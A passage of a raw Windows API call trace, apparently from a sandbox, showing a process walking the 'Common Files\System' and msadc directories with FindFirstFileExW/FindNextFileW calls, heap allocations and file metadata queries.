[0055.482] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.482] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf05120 [0055.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3da0 [0055.483] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.483] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0055.483] GetLastError () returned 0x12 [0055.483] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.483] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.483] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.483] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0055.483] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0055.483] GetLastError () returned 0x12 [0055.483] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.483] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.483] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.483] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.483] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0055.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.483] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc" (normalized: "c:\\program files\\common files\\system\\msadc"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc" (normalized: "c:\\program files\\common files\\system\\msadc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.485] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf0a6b8 [0055.485] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf0a6b8, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf0a6b8, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.485] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0a6b8) returned 1 [0055.485] NtClose (Handle=0x180) returned 0x0 [0055.485] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.486] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.487] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.487] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0055.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.487] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.487] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf05140 [0055.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3e28 [0055.487] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.487] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0055.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.487] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.487] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf05160 [0055.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3eb0 [0055.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.488] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.488] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0055.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf05180 [0055.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3fc0 [0055.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.488] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0055.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf051a0 [0055.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4048 [0055.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.489] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0055.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.489] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0055.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.489] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0055.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.489] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0055.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.490] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0055.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.490] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0055.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.490] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0055.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.491] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0055.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.491] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0055.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.491] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0055.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.491] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0055.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.492] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0055.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.492] 